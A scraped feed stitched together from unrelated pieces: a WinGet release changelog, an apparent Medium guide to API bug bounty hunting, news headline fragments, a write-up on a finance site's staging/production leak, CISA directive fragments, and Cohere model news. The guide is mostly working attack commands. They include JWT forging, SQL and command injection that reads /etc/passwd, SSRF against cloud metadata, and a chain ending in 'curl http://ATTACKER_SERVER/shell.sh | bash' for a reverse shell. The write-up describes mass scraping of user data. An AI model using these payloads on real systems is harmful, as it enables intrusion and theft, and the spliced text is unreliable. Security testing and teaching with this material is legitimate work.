• Fix portable installer issues when installing to non ascii path by @yao-msft in #5788
• Remove experimental from Font Install, Uninstall, and source by @dkbennett in #5791
• Update NOTICE by @JohnMcPMS in #5801
• Update localized strings by @florelis in #5805
• Bump version to 1.28 by @florelis in #5787
• Move to latest 7.4 PS SDK by @JohnMcPMS in #5811
• Enable MultiProcessorCompilation by @Trenly in #5804
• Remove mention of WinGet Insider program from the README by @florelis in #5832
• Ignore ReleaseStatic outputs and clean intermediates by @JohnMcPMS in #5848
• Make Repair-WGPM a COM-aware cmdlet and rework version retrieval by @JohnMcPMS in #5842
• Unregister signal handler by @JohnMcPMS in #5861
• Support associating export units with packages in subdirectories of install location by @JohnMcPMS in #5859
• Send host geo to sandbox by @JohnMcPMS in #5873
• Update C++ nuget package references using new scripts by @JohnMcPMS in #5877
• Update platform toolset by @florelis in #5882
• Extract event log for potential crash info by @JohnMcPMS in #5807
• Update CODEOWNERS to include winget-developers by @florelis in #5891
• Fixes for VS2026 by @florelis in #5896
• Additional logging limitations and control by @JohnMcPMS in #5888
• Use hybrid CRT linkage instead of full static by @JohnMcPMS in #5913
• Enable source reference to get thread globals for off-thread logging by @JohnMcPMS in #5780
• Fix JSON, missing closing brace by @doterik in #5924
• Test host for in-proc COM module validation by @JohnMcPMS in #5910
• Add sleep to allow background threads to quiesce by @JohnMcPMS in #5933
• Allow suppressing configuration output on test by @Trenly in #5794
• Enable Explicit toggling for sources (i.e. Enable/Disable) by @dkbennett in #5904
• Fix fuzz build by @JohnMcPMS in #5932
• Normalize directory separators when adding packages to path by @Trenly in #5796
• Add sleep to another inproc test by @JohnMcPMS in #5935
• Don't build inproc testbed for fuzzing by @JohnMcPMS in #5937
• Create schema 1.12.0 folder by @Trenly in #5944
• Fix names of 1.12 Schemas by @Trenly in #5945
• Fix Font feature property name by @Trenly in #5946
• Add check to ensure vcpkg triplets match across projects by @florelis in #5950
• Update release notes for v1.28 by @florelis in #5957
• Details output option for list by @JohnMcPMS in #5939
• PowerShell Repair enhancements by @AmelBawa-msft in #5711
• Allow inproc callers to disable termination signal handlers by @JohnMcPMS in #5958
• Add manifest version to WinGetUtilInterop by @msftrubengu in #5964
• Fixes for updating winget from winget by @JohnMcPMS in #5972
• Diagnostics and fix for pipeline test failures by @JohnMcPMS in #5975
• Escape caller in user agent header by @JohnMcPMS in #5998
• Add DSC resource list to manifest by @JohnMcPMS in #5997
• Add command builder with escaped user input by @AmelBawa-msft in #5982
• Add missing closing brace in settings.export.schema.0.1.json by @DuckDuckStudio in #6004
• Turn off PWSH UT build in Fuzzing and ReleaseStatic for all platforms by @AmelBawa-msft in #6005
• Remove experimental feature gate on source edit by @dkbennett in #6006
• Update ReleaseNotes by @florelis in #6007
• Make list details stable (1.28) by @JohnMcPMS in #6021
• Move to IReference rather than custom enum for optional bool (1.28) by @JohnMcPMS in #6024
• Apply latest localization patch (1.28) by @florelis in #6025

New Contributors

• @mohiuddin-khan-shiam made their first contribution in #5564
• @doterik made their first contribution in #5924

Full Changelog: v1.11.400...v1.28.240

Phase 1: Surface Reconnaissance — Finding the Attack Surface

1.1 Passive Reconnaissance

Before sending a single request, build a map of the target’s API surface using passive techniques.

Wayback Machine & Archive Analysis

# Using gau (GetAllUrls) — passive URL gathering
gau --subs target.com | grep -E "\.json|\.xml|/api/|/v[0-9]/|/graphql|/rest/|/swagger|/docs" > api_endpoints.txt

# Waybackurls via waymore
waymore -i target.com -mode U -o U | grep -i api

Google Dorking for Exposed APIs

site:target.com inurl:"/api/"
site:target.com inurl:"/v1/" | inurl:"/v2/" | inurl:"/v3/"
site:target.com intitle:"Swagger UI" | intitle:"API Documentation"
site:target.com intitle:"index of" "api"
site:target.com ext:json "swagger" | ext:yaml "openapi"
site:target.com "api_key" | "api-key" | "apikey" filetype:txt

Certificate Transparency Logs

# crt.sh — find subdomains with API-related names
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u | grep -iE "api|dev|staging|internal|gateway|admin"

Mobile App Reverse Engineering

Decompile the mobile APK/IPA to extract embedded API endpoints:

# Android
apktool d app.apk -o decompiled
grep -r "https\?://" decompiled/ --include="*.smali" --include="*.xml" | grep -i api

# iOS (via objection)
objection --gadget "com.target.app" explore
android hooking list classes | grep -i "api\|network\|request"

1.2 Active Reconnaissance

Subdomain Enumeration Focused on API Subdomains

# Subfinder + httpx
subfinder -d target.com -all -silent | httpx -silent -ports 80,443,8080,8443,9090,3000,5000 | tee live_subdomains.txt

# Filter for API-related subdomains
cat live_subdomains.txt | grep -iE "api|gateway|backend|internal|admin|dev|staging|uat|sandbox|edge|cdn"

Directory/Endpoint Bruteforcing

Use specialized wordlists for API endpoints:

# Common API paths
ffuf -u https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common-api-endpoints.txt -mc all -fs 0 -fc 404

# GraphQL discovery
ffuf -u https://api.target.com/FUZZ -w <(echo -e "graphql\ngraph\ngraphiql\nv1/graphql\nv2/graphql\napi/graphql\nquery\nmutations") -mc 200,301,302,403

# Swagger/OpenAPI docs
ffuf -u https://api.target.com/FUZZ -w <(echo -e "swagger.json\nswagger.yaml\napi-docs\nopenapi.json\nopenapi.yaml\ndocs\nv2/swagger.json\nv3/api-docs")

Parameter Discovery

Hidden parameters can unlock undocumented functionality:

# Arjun — parameter discovery
arjun -u https://api.target.com/v1/users --get

# Paramspider
paramspider -d target.com --subs --exclude woff,css,js,png,svg,jpg

Phase 2: API Fingerprinting & Documentation Extraction

2.1 Identify API Type & Protocol

Send probe requests to identify the API technology:

2.2 Extract Full API Documentation

Swagger/OpenAPI Endpoints

Common paths to check:

/api/swagger.json
/api/swagger.yaml
/api/v1/swagger.json
/api/v2/swagger.json
/swagger-resources
/swagger-ui.html
/api-docs
/v2/api-docs
/v3/api-docs
/openapi.json
/docs
/redoc

Once found, parse it:

# Download and parse
curl -s https://api.target.com/swagger.json | jq '.paths' | head -100

# Convert to Postman collection for testing
curl -s https://api.target.com/swagger.json | npx swagger-to-postman > collection.json

GraphQL Introspection

If GraphQL is detected, attempt introspection:

# Standard introspection query
query {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
        }
      }
    }
    queryType {
      fields {
        name
        args {
          name
          type {
            name
          }
        }
      }
    }
    mutationType {
      fields {
        name
        args {
          name
          type {
            name
          }
        }
      }
    }
  }
}

# Using InQL (Burp extension or standalone)
python3 inql -t https://api.target.com/graphql -d

# Using graphw00f for fingerprinting
graphw00f -d https://api.target.com/graphql

2.3 HTTP Method Fuzzing

Discover hidden endpoints by fuzzing HTTP methods on known endpoints:

# Fuzz all methods on discovered endpoints
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE CONNECT; do
  curl -X $method -s -o /dev/null -w "%{http_code}" https://api.target.com/v1/users
  echo " - $method"
done

Automated with ffuf:

ffuf -u https://api.target.com/v1/users \
  -X FUZZ \
  -w <(echo -e "GET\nPOST\nPUT\nPATCH\nDELETE\nOPTIONS") \
  -mc all -fc 404,405,400

Phase 3: Authentication & Authorization Bypass Techniques

3.1 Authentication Bypass Vectors

Missing or Weak Auth on Hidden Endpoints

Hidden endpoints often lack proper authentication:

# Compare authenticated vs unauthenticated access
curl -s https://api.target.com/v1/admin/users -H "Authorization: Bearer $TOKEN"
curl -s https://api.target.com/v1/admin/users  # No token — what happens?

JWK Injection & JWT Manipulation

#!/usr/bin/env python3
"""
JWT manipulation toolkit for API testing
"""
import jwt
import requests
import json

# Technique 1: Set algorithm to 'none'
def jwt_none_bypass(token, payload):
    """Set alg to 'none' — works on poorly validated JWTs"""
    header = {"alg": "none", "typ": "JWT"}
    # Some implementations accept 'None' (capital N)
    # Try: none, None, NONE, nOnE
    forged = jwt.encode(payload, "", algorithm="none")
    return forged

# Technique 2: RS256 → HS256 confusion
def jwt_alg_confusion(public_key_path, payload):
    """
    If the server uses RS256 but accepts HS256,
    sign with the PUBLIC key (which is known) as HMAC secret
    """
    with open(public_key_path, "r") as f:
        public_key = f.read()
    forged = jwt.encode(payload, public_key, algorithm="HS256")
    return forged

# Technique 3: JWK injection (CVE-2018-0114)
def jwk_injection(payload, private_key):
    """
    Craft a JWT that includes a malicious JWK in the header.
    If the server trusts the embedded JWK, it validates against YOUR key.
    """
    # Use python-jwt toolkit or jwk-inject.py
    # Header: {"alg": "RS256", "jwk": {"kty": "RSA", "n": "...", "e": "AQAB"}}
    pass

# Technique 4: Kid injection (directory traversal)
def kid_injection(payload):
    """
    kid: "../../dev/null" means empty signature validation
    kid: "/proc/sys/kernel/random/uuid" for DoS testing
    """
    header = {
        "alg": "HS256",
        "typ": "JWT",
        "kid": "../../dev/null"
    }
    forged = jwt.encode(payload, "", algorithm="HS256", headers=header)
    return forged

API Key Leakage via Referer/Origin

# Check if API keys leak in referer headers
curl -s https://api.target.com/v1/endpoint \
  -H "Referer: https://api.target.com/v1/users?api_key=test123"

3.2 Authorization Testing — IDOR & BOLA

Insecure Direct Object Reference (IDOR) / Broken Object Level Authorization (BOLA)

# Sequential ID enumeration
for id in $(seq 1 100); do
  curl -s "https://api.target.com/v1/users/$id" | jq '.email'
done

# UUID enumeration (less likely but test)
ffuf -u https://api.target.com/v1/orders/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -H "Authorization: Bearer $TOKEN" \
  -mc 200,403,401

# Mass IDOR via parameter pollution
curl -s "https://api.target.com/v1/invoices?id=1&id=2&id=3"
curl -s "https://api.target.com/v1/invoices?id[]=1&id[]=2&id[]=3"

Mass Assignment

# Test for mass assignment on POST/PUT endpoints
curl -X PUT https://api.target.com/v1/users/me \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{
    "name": "test",
    "role": "admin",
    "is_admin": true,
    "balance": 999999999,
    "email_verified": true,
    "account_status": "active"
  }'

Broken Function Level Authorization (BFLA)

Vertical privilege escalation — lower privilege user accessing admin functions:

# Replace user role token and test admin endpoints
curl -s https://api.target.com/v1/admin/users \
  -H "Authorization: Bearer $(cat low_priv_token.txt)"

Phase 4: Injection Attacks on APIs

4.1 SQL Injection in API Parameters

APIs are just as vulnerable to SQLi as web apps, sometimes more so because of serialization handling:

# Classic SQLi in API
curl -s "https://api.target.com/v1/users?id=1' OR '1'='1"
curl -s "https://api.target.com/v1/users?id=1 UNION SELECT @@version"

# JSON-based SQLi
curl -X POST https://api.target.com/v1/search \
  -H "Content-Type: application/json" \
  -d '{"query": "test' OR '1'='1"}'

# NoSQL Injection (MongoDB)
curl -X POST https://api.target.com/v1/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": ""}}'

4.2 Command Injection

# Command injection in API parameters
curl -s "https://api.target.com/v1/utils/ping?host=127.0.0.1;id"
curl -s "https://api.target.com/v1/exports?format=csv;cat /etc/passwd"

# Blind command injection with out-of-band detection
curl -s "https://api.target.com/v1/convert?file=/tmp/test|curl http://COLLABORATOR.net/$(whoami)"

4.3 SSRF (Server-Side Request Forgery)

APIs that fetch external URLs are goldmines for SSRF:

# Basic SSRF
curl -s "https://api.target.com/v1/proxy?url=http://169.254.169.254/latest/meta-data/"
curl -s "https://api.target.com/v1/avatar?url=http://127.0.0.1:8080/admin"

# Blind SSRF via Collaborator
curl -s "https://api.target.com/v1/webhook?url=http://COLLABORATOR.net/test"

# SSRF via cloud metadata endpoints
curl -s "https://api.target.com/v1/import?url=http://169.254.169.254/"  # AWS
curl -s "https://api.target.com/v1/import?url=http://metadata.google.internal/"  # GCP
curl -s "https://api.target.com/v1/import?url=http://100.100.100.200/latest/meta-data/"  # Alibaba

Phase 5: GraphQL-Specific Attacks

5.1 Introspection & Schema Extraction

# InQL scanner
inql -t https://api.target.com/graphql -d

# Clairvoyance — introspection even when blocked
clairvoyance https://api.target.com/graphql -o schema.json

5.2 Batching & Rate Limit Bypass

# Batch login bruteforce — single request, many passwords
[
  {"query": "mutation { login(username: \"admin\", password: \"password1\") { token } }"},
  {"query": "mutation { login(username: \"admin\", password: \"password2\") { token } }"},
  {"query": "mutation { login(username: \"admin\", password: \"password3\") { token } }"},
  # ... 100+ more
]

5.3 Deep Query & Nested Abuse

# Circular query — cause DoS via deep nesting
query {
  user(id: 1) {
    posts {
      comments {
        user {
          posts {
            comments {
              user {
                posts {
                  comments {
                    user { name }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

5.4 Field Duplication & Resource Exhaustion

query {
  __typename
  __typename
  __typename
  __typename
  user(id: 1) {
    name
    name
    name
    email
    email
    email
    email
  }
}

Phase 6: Rate Limit Testing & Business Logic Abuse

6.1 Rate Limit Bypass Techniques

# Technique 1: Header manipulation
curl -s https://api.target.com/v1/forgot-password \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1" \
  -H "X-Originating-IP: 127.0.0.1" \
  -H "X-Remote-IP: 127.0.0.1" \
  -H "X-Client-IP: 127.0.0.1" \
  -H "Forwarded: for=127.0.0.1"

# Technique 2: Method alternation
# If POST is rate-limited, try PATCH or PUT
curl -X PATCH https://api.target.com/v1/forgot-password \
  -d '{"email":"victim@test.com"}'

# Technique 3: Parameter pollution
curl -s "https://api.target.com/v1/forgot-password?email=test@test.com&email=admin@admin.com"

6.2 Business Logic Flaws

Race Conditions / TOCTOU

#!/usr/bin/env python3
"""
Race condition testing — concurrent coupon redemption
"""
import requests
import threading

def redeem_coupon():
    r = requests.post("https://api.target.com/v1/coupons/redeem",
        json={"code": "ONETIME50"},
        headers={"Authorization": f"Bearer {TOKEN}"})
    print(f"Status: {r.status_code}, Response: {r.text}")

# Fire 20 simultaneous requests
threads = [threading.Thread(target=redeem_coupon) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()

Integer Overflow / Underflow

# Negative numbers
curl -X POST https://api.target.com/v1/cart/add \
  -H "Content-Type: application/json" \
  -d '{"product_id": 1, "quantity": -100}'

# Large numbers causing overflow
curl -X POST https://api.target.com/v1/transfer \
  -d '{"amount": 99999999999999999999, "to": "attacker"}'

Phase 7: Automation — Build Your API Recon Pipeline

#!/bin/bash
# api-recon-pipeline.sh — full automated API recon
# Usage: ./api-recon-pipeline.sh target.com

TARGET=$1
OUTDIR="api_recon_$TARGET"
mkdir -p $OUTDIR

echo "[*] Passive URL collection"
gau --subs $TARGET | tee $OUTDIR/gau_urls.txt
waybackurls $TARGET | tee -a $OUTDIR/wayback_urls.txt

echo "[*] Extract API endpoints"
cat $OUTDIR/*.txt | grep -iE "api|rest|graphql|swagger|v[0-9]" | sort -u > $OUTDIR/api_endpoints.txt

echo "[*] Subdomain enumeration"
subfinder -d $TARGET -all -silent | httpx -silent -ports 80,443,8080,8443,3000,9090 > $OUTDIR/live_subs.txt

echo "[*] Swagger/OpenAPI discovery"
ffuf -u https://FUZZ/$TARGET/swagger.json -w $OUTDIR/live_subs.txt -mc 200 -o $OUTDIR/swagger_found.json

echo "[*] Directory fuzzing on API endpoints"
while read endpoint; do
  ffuf -u $endpoint/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt -mc all -fc 404 -o $OUTDIR/ffuf_$(echo $endpoint | md5sum | cut -d' ' -f1).json
done < $OUTDIR/api_endpoints.txt

echo "[*] Parameter fuzzing"
arjun -i $OUTDIR/api_endpoints.txt -o $OUTDIR/arjun_params.json

echo "[*] Done. Review files in $OUTDIR/"

Phase 8: Exploit Chaining — From Recon to Critical Finding

Chain Example: Blind SSRF → Internal Service Discovery → RCE

Step 1: Find an endpoint that fetches URLs

# Avatar upload/profile image endpoint
curl -s "https://api.target.com/v1/profile/avatar?url=http://example.com/test.jpg"

Step 2: Test for SSRF

curl -s "https://api.target.com/v1/profile/avatar?url=http://127.0.0.1:8080/"
# Response contains internal HTML → SSRF confirmed

Step 3: Port scan internal network via SSRF

for port in 80 443 3000 5000 6379 8080 8443 9200 27017; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://api.target.com/v1/profile/avatar?url=http://127.0.0.1:$port/")
  echo "Port $port: $status"
done

Step 4: Discover internal admin panel

curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy?cmd=ls"
# Returns directory listing of deployment server

Step 5: Exploit for RCE

curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy?cmd=curl+http://ATTACKER_SERVER/shell.sh+|+bash"
# Reverse shell established

Reporting & Documentation Template

# Vulnerability: [Title]

**Severity:** Critical / High / Medium / Low  
**CVSS Score:** X.X (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
**Endpoint:** `POST /api/v1/users/forgot-password`

## Description
[Clear description of the vulnerability and its impact]

## Steps to Reproduce
1. [Step 1]
2. [Step 2]
3. [Step 3]

## Proof of Concept
```bash
# Exact curl command or script
curl -X POST https://api.target.com/v1/endpoint \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"payload": "test"}'

Impact

[What can an attacker achieve? Data exposure? Account takeover? RCE?]

Remediation

1. [Fix 1 — e.g., Implement proper authorization checks]
2. [Fix 2 — e.g., Validate and sanitize all user input]
3. [Fix 3 — e.g., Rate-limit sensitive endpoints]

References

• OWASP API Security Top 10: API1:2023 — Broken Object Level Authorization
• CWE-284: Improper Access Control

OWASP API Security Top 10 (2023) Quick Reference

| API# | Category | What to Test |
|---|---|---|
| API1:2023 | Broken Object Level Authorization | IDOR on any object reference |
| API2:2023 | Broken Authentication | JWT bypass, rate limits, password reset |
| API3:2023 | Broken Object Property Level Mapping | Mass assignment, extra fields |
| API4:2023 | Unrestricted Resource Consumption | DoS via deep pagination, batch queries |
| API5:2023 | Broken Function Level Authorization | Vertical privilege escalation |
| API6:2023 | Unrestricted Access to Sensitive Business Flows | Automated abuse (coupons, votes) |
| API7:2023 | Server Side Request Forgery | URL fetching endpoints |
| API8:2023 | Security Misconfiguration | CORS, error handling, default creds |
| API9:2023 | Improper Inventory Management | Old versions, staging endpoints |
| API10:2023 | Unsafe Consumption of APIs | API-to-API trust issues |

---

## Essential Tools Cheatsheet

| Tool | Purpose | Install |
|---|---|---|
| **gau** | Passive URL collection | `go install github.com/lc/gau/v2/cmd/gau@latest` |
| **httpx** | HTTP probing | `go install github.com/projectdiscovery/httpx/cmd/httpx@latest` |
| **ffuf** | Directory/parameter fuzzing | `go install github.com/ffuf/ffuf@latest` |
| **arjun** | Parameter discovery | `pip install arjun` |
| **inql** | GraphQL analysis (Burp) | BApp Store or `pip install inql` |
| **graphw00f** | GraphQL fingerprinting | `git clone https://github.com/dolevf/graphw00f` |
| **jwt_tool** | JWT manipulation | `pip install pyjwt jtool` |
| **waymore** | Wayback Machine scraper | `pip install waymore` |
| **subfinder** | Subdomain discovery | `go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest` |
| **nuclei** | Template-based scanning | `go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest` |

---

## Final Words

The key to winning at API bug bounty hunting is **systematic methodology** combined with **creative thinking**. Automated tools will find the low-hanging fruit, but the critical findings come from understanding the application's business logic and chaining seemingly innocuous issues together.

Remember:
- **Every undocumented endpoint is a potential bypass**
- **If it's not in the documentation, test it harder**
- **Authentication bypass on one endpoint means trying it on every endpoint**
- **Business logic > technical complexity** for the highest bounties

Happy hunting. Stay authorized, stay methodical, and dig deeper than everyone else.

GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent

#CyberSecurity #BugBounty #APISecurity #EthicalHacking #WebSecurity #InfoSec #BugBountyHunter #OWASP #PenTesting #APIHacking

Mastery Hunt: Hidden API Endpoints — A Deep Dive into API Bug Bounty Recon & Exploitation was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Cybersecurity jobs available right now: June 16, 2026 appeared first on Help Net Security.

Read more of this story at Slashdot.

The post Researcher Uses AI to Uncover Google Vulnerabilities, Earns $500,000 Bug Bounty appeared first on Cyber Security News.

Read more →

The post Researcher Uses AI to Hack Google, Earns $500,000 Bug Bounty appeared first on IT Security News.

The post Researcher Uses AI to Hack Google, Earns $500,000 Bug Bounty appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

When hunting on a site I tend to just poke around, gauge the functionality and see logically what can be broken before I fuzz.

The target (www.REDACTED.com) was a large finance holding company. Almost all their domains were heavily locked down and required employee SSO credentials to use.

However, one of their sister websites I discovered by Google Dorking allowed verified authors worldwide publish articles on how to use the company’s financial software sold. However, publishing an article required strict manual approval by the site admins.

This is a common step missed by bug bounty hunters, make sure to read the scope and see if they allow third party websites to be tested. I typically refer to these as “sister sites”, after finding this domain I shifted my focus on attacking this third party as it was in scope and no longer the main domain.

I couldn’t find any vulnerabilities on the third party’s main website (www.Sister-REDACTED.com)

Recon

If you don’t have a recon methodology it may benefit you to read some bug bounty articles on Medium more frequently. What helped me was following users who wrote unique or practical blogs that weren’t generic or similar to ones I’d seen many times.

Critical Side Note in automated Fuzzing:

Always include a User-Agent header when fuzzing at the very least. I nearly missed a P1 vulnerability in another target by not doing this.

While using HTTPX to verify which subdomains were live, a few subdomains consistently returned as being unreachable. However, when I stumbled upon one of the supposedly unreachable subdomains when google dorking they were reachable, I almost missed a whole subdomain.

Turns out there was a reverse proxy in front of the domain silently dropping any request packets without a proper User-Agent header. Furthermore, the Windows server behind the proxy had ICMP replies disabled making it truly appear as an unreachable domain.

Even after adding proper headers, I still got inconsistent results with HTTPX. To this day, I haven’t found a reliable solution. Rate limiting was not the issue either, it loaded fine in the browser (even after 1000+ refreshes), but for some reason would fail in HTTPX.

1. Fuzz subdomain VHOSTS viaFFUF
2. PureDNS for direct DNS enumeration.
3. I also went through passive collection of subdomains by using tools such as subfinder and google dorking (site:Sister-REDACTED.com ).
4. Looked for related sister sites via:

• FOFA
• SHODAN (Via Favicon hash search)
• Fuzzing TLD via PureDNS (ex: REDACTED.FUZZ )

5. Scanning ports via Masscan & RustScan

• I stopped over-relying on one tool and lowered the maximum packet rate as it typically leads to inconsistent results.

6. Scrape endpoints from GAU , WayBackURLS , Dorking

• When dorking I use the URL Extractor extension to parse all the URLs from google searches as I dork.

7. Exposed secrets by searching target-specific keywords on Github , PostMan , etc.

Subdomain Analysis

After cleaning up and collecting the list I realized there weren’t many subdomains this company offered. However there were two that stuck out to me the most:

• staging.Sister-REDACTED.com
• testing-ignore.Sister-REDACTED.com

The testing-ignore subdomain was inaccessible and had no digital footprint as to what its purpose was or how the website looked (was not archived in the Wayback Machine).

I shifted my focus to the staging server, I realized account takeover (ATO) may be possible if I registered an account using an email address that existed in production but not in staging. This would only work if both servers were using the same JWT signing keys. This is a common technique explained more in-depth here: https://sandh0t.medium.com/the-bad-twin-a-peculiar-case-of-jwt-exploitation-scenario-1efa03e891c0.

Black Box Reverse Engineering

Unfortunately, when registering a new account there’s an email verification sent-I could not bypass this. But then I caught myself falling into autopilot. I was just following the same checklist everyone runs through.

Why was I even trying to register with someone else’s email on staging in the first place?

Well, I told myself my goal was to obtain a JWT from staging and replay it against production. But I was getting ahead of myself, I didn’t even examine the decoded JWT, what if there wasn’t even an email field at all?

I decoded a JWT from an authenticated login on staging and it looked like this:

Side Note: If you’re a penetration tester make sure to NEVER put a JWT into a public website, regardless of what their claims are.

All decoding or tedious tasks should be done on your own machine, you can use self-hosted services such as CyberChef.

Okay… so the JWT does have the email field, but what if the server isn’t even using it. If you look closely you’ll notice the id field, what if the server is relying on this over the email field?

I confirmed this by registering multiple accounts on production and noticed it go from 50,612to 50,613, 50,614, etc. For further verification, I logged in, changed my email and noticed my JWT still had my old email address in it even though my account settings displayed my new updated email address.

Okay-that confirms my suspicions, the server isn’t even querying the email claim in the JWT anyway, it’s querying the id claim.

Furthermore, when I did attempt to use the staging JWT on prod it was denied complaining about an invalid signature. Looks like prod and staging used separate signing keys for their JWT tokens.

Poor Isolation Breakthrough

Before I gave up I clicked around on the staging domain and everything pretty much looked the same-until I went to profile settings and realized it displayed someone else’s email !

So we have ATO? Not quite. If I sent a password reset request I would see my account details and the reset would be done on my own account (within staging).

I decided to poke at the tech stack being used by this company, some common techniques use the Wappalyzer chrome extension, reading response headers sent back from the web server, and skimming any specific keywords in the JavaScript files.

Turns out this website’s tech stack was using Kubernetes, Nginx, and Envoy proxies!

Why is this important you may be asking...? Well Kubernetes can get very complex and if you’re not careful, especially when isolating the workflows for prod and staging can lead to mixups.

So to understand what may have caused this vulnerability we need to see a simple example of how user requests are handled.

Envoy runs as a config alongside each pod, meaning every request in and out of the cluster passes through it first. It reads the routing rules defined in its sidecar profile and decides where to send the traffic such as to the staging or prod clusters. It’s great for service mesh control, but one bad route and you’re now leaking traffic across environments.

I think this company’s staging servers had separate envoy proxy configurations for different API routes.

For example, in the staging server when I sent the password reset it may have internally routed my request to an internal endpoint within the correct staging cluster.

However, in the staging server, when I tried to view my user information the envoy proxy handling my request may have routed the request internally to a prod cluster instead of a staging cluster.

Understanding the Internal Tech Stack

I also realized a huge gap many bug bounty hunters have in their methodology: they’re so quick to perform subdomain enumeration, ports, etc they forget to take a step back and look at the dead domains too.

The unreachable subdomains are sometimes scraped from the domain’s SSL certificates and may hint at internal subdomains that are used by the company internally.

When looking through subfinder’s output again of both the main website www.REDACTED.com and the third party (sister site) www.sister-REDACTED.com I noticed something that stuck out:

github.REDACTED.com
bitbucket.REDACTED.com
github-staging.Sister-REDACTED.com

Interesting… this hints at the possibility of the company using their own self-hosted Github servers.

This information came in handy down the road and without it I may have been unable to piece together what could’ve caused this vulnerability.

Theory

Remember earlier when we looked through subfinder’s output and spotted github.REDACTED.com and github-staging.Sister-REDACTED.com? That strongly suggests this company is running self-hosted GitHub instances for their development workflow. This is highly likely because we saw it on both the third party sister site AND the main domain.

This matters because companies that self-host their own Git infrastructure almost always have CI/CD pipelines tied directly to it. These can be Github actions, webhooks, or automated deployments.

For example, when a developer opens a PR and it gets merged into main, these pipelines typically spin up or redeploy staging environments automatically to mirror production.

I think that’s exactly what was happening here. The staging and production servers were being set up through some automated deployment pipeline that triggered whenever the production code changed. For example, let’s say a developer at this company made a simple change to an HTML file, opened a PR that got approved, and merged it into main.

I suspect these automated pipelines were spinning up staging environments correctly but failing to update all of the Envoy routing configurations for certain endpoints. Because of this, my staging user ID was being mapped to a production user ID due to poor isolation between the two environments.

For example, let’s say after a new PR was merged to the main branch a pipeline ran that went through the production sidecar profiles and ran simple .replace() on them but failed to do it correctly for one of the endpoints for some reason.

Impact

We now have leakage of mass PII of all accounts, we can create a script to register accounts on the staging subdomain, and then scrape the account information associated with it.

We also could mass create accounts on staging with an email address we own -> check account details -> check if there are any patterns such as admin@REDACTED.com and use that JWT to fuzz in hopes of finding any that are admin-restricted to further our attack surface.

Hacking a Fortune 500 Finance Company via Envoy Proxy Misconfiguration was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Researcher Hacked Google Using AI and Earned $500,000 Bug Bounty appeared first on Cyber Security News.

New Risk-Based Model for Vulnerability Remediation

• Asset exposure to the public internet
• Inclusion in CISA's Known Exploited Vulnerabilities (KEV) catalog
• Whether exploitation can be automated
• The level of control an attacker could gain after exploitation

CISA Vulnerability Management Directive Responds to AI-Driven Cyber Threats

Directive Consolidates Existing Federal Requirements

• BOD 19-02, which focused on vulnerability remediation for internet-accessible systems
• BOD 22-01, which addressed risks associated with Known Exploited Vulnerabilities (KEV)

Agencies Must Check for Compromise Before Patching

Strengthening Federal Cybersecurity Readiness

The new open-source model is a 30 billion parameter mixture-of-experts (MoE) model with 3 billion parameters active per token, built for agentic software engineering including sub-agent orchestration, architecture mapping, code review and terminal work. The model supports a 256,000 token context window with a 64,000 token maximum generation length, and is available on Hugging Face under an Apache 2.0 license.

What North Mini Code can do

North Mini Code targets the full agentic coding stack. Here is what the model does and what it runs on.

Software engineering. Cohere built North Mini Code specifically for agentic software engineering, not adapted from a general-purpose base. It has integrated tool-use capabilities and supports interleaved thinking, which Cohere says improves performance across multi-step agentic work.

Architecture mapping and code review. North Mini Code can analyze and map systems architecture, surface dependencies and perform code review across large codebases. With a 256,000 token context window, it can hold substantial multi-file projects in a single context pass.

Terminal-based agentic tasks. The model is trained for terminal environments, handling shell interactions, package scripts and command-line tooling. Cohere benchmarked it on Terminal-Bench v2, which tests agents in real terminal environments rather than synthetic code generation tasks.

How it was built

North Mini Code is a sparse mixture-of-experts model with 128 experts, of which 8 activate per token. The compute requirement at inference time is closer to a 3 billion parameter model despite 30 billion total parameters. Nick Frosst, co-founder of Cohere, demoed it running on a Mac Studio via MLX at around 20 gigabytes of RAM, the same machine he uses for his own local coding work.

Cohere trained the model through two stages of supervised fine-tuning followed by reinforcement learning with verifiable rewards across more than 70,000 verifiable tasks spanning approximately 5,000 repositories, deduplicated against SWE-Bench. 

Rather than optimizing against a single agent scaffold, Cohere trained across three. SWE-Agent uses a rich CLI with specialized commands. Mini-SWE-Agent uses a single bash tool with raw shell output. OpenCode uses individually typed tools returning structured JSON. Cohere reports a 10 percentage point gain on OpenCode evaluation from the multi-harness approach while maintaining SWE-Agent performance.

Where it fits

North Mini Code enters a market that now includes Mistral Devstral Small 2, GitHub Copilot, Cursor, and Claude Fable 5 — each with distinct cost and deployment tradeoffs.

Cohere's primary benchmark comparison is against Mistral Devstral Small 2, a 24 billion parameter dense model. In vendor-reported internal tests, Cohere claims 2.8x higher output throughput and a 30% inter-token latency advantage over Devstral Small 2 in internal tests under identical hardware configurations. Cohere also claims, in its Hugging Face technical post, that North Mini Code outperforms open-source models up to four times its parameter count on its reported benchmarks, including models at 120 billion parameters.

